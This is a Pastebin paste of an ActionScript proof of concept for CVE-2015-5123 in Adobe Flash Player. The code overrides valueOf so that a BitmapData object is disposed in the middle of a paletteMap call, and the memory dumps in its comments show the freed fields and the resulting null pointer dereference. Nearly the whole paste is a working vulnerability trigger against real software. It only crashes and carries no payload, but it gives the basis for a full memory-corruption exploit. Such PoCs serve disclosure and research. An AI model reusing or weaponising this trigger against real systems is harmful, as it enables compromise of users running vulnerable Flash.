hdarwin

CVE-2015-5123 Crash POC

Jul 29th, 2015
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package
  2. {
  3.     import flash.display.Sprite
  4.     import flash.display.BitmapData
  5.     import flash.geom.Point
  6.     import flash.geom.Rectangle
  7.  
  8.     public class Main extends Sprite
  9.     {
  10.         static var bm:BitmapData = new BitmapData(64, 16)
  11.         prototype.valueOf = function()
  12.         {
  13.             // bm.dataObj dump
  14.             // 034c81e0  5f233f74 00000000 07abf000 00000000
  15.             // 034c81f0  00000005 00000040 00000010 00000100
  16.             // 034c8200  00000001 00000000 00000000 00000000
  17.             // 034c8210  00000000 00000000 00000000 00000000
  18.             // 034c8220  00000000 00000000 00000000 00000000
  19.             // 034c8230  00000001 00000001 00000100 5f1f7ec4
  20.             // 034c8240  00000000 00000000 00000000 ffffffff
  21.             // 034c8250  ffffffff 00000000 00000000 00000000
  22.             // 034c8260  00000000 00000000 00000000 00000000
  23.             // 034c8270  00000100 00000000 00000000 00000000
  24.             // 034c8280  00000000 5e6b0a90 00000000 0348f000
  25.             // 034c8290  034692c0 00000000 00010000 00001000
  26.             bm.dispose()
  27.             // bm.dataObj dump
  28.             // 034c81e0  5f233f74 00000000 00000000 00000000
  29.             // 034c81f0  00000005 00000000 00000000 00000000
  30.             // 034c8200  00000001 00000000 00000000 00000000
  31.             // 034c8210  00000000 00000000 00000000 00000000
  32.             // 034c8220  00000000 00000000 00000000 00000000
  33.             // 034c8230  00000001 00000001 00000100 5f1f7ec4
  34.             // 034c8240  00000000 00000000 00000000 ffffffff
  35.             // 034c8250  ffffffff 00000000 00000000 00000000
  36.             // 034c8260  00000000 00000000 00000000 00000000
  37.             // 034c8270  00000100 00000000 00000000 00000000
  38.             // 034c8280  00000000 5e6b26d0 00000000 0348f000
  39.             // 034c8290  00000000 00000000 00010000 00001000
  40.             // bm.dataObj+0xb0 will cause null pointer dereference
  41.             return 0
  42.         }
  43.        
  44.         public function Main():void
  45.         {
  46.             bm.paletteMap(bm, new Rectangle(0, 0, 32, 8), new Point(0, 0), new Array(this))
  47.         }
  48.     }  
  49. }
Advertisement
Add Comment
Please, Sign In to add comment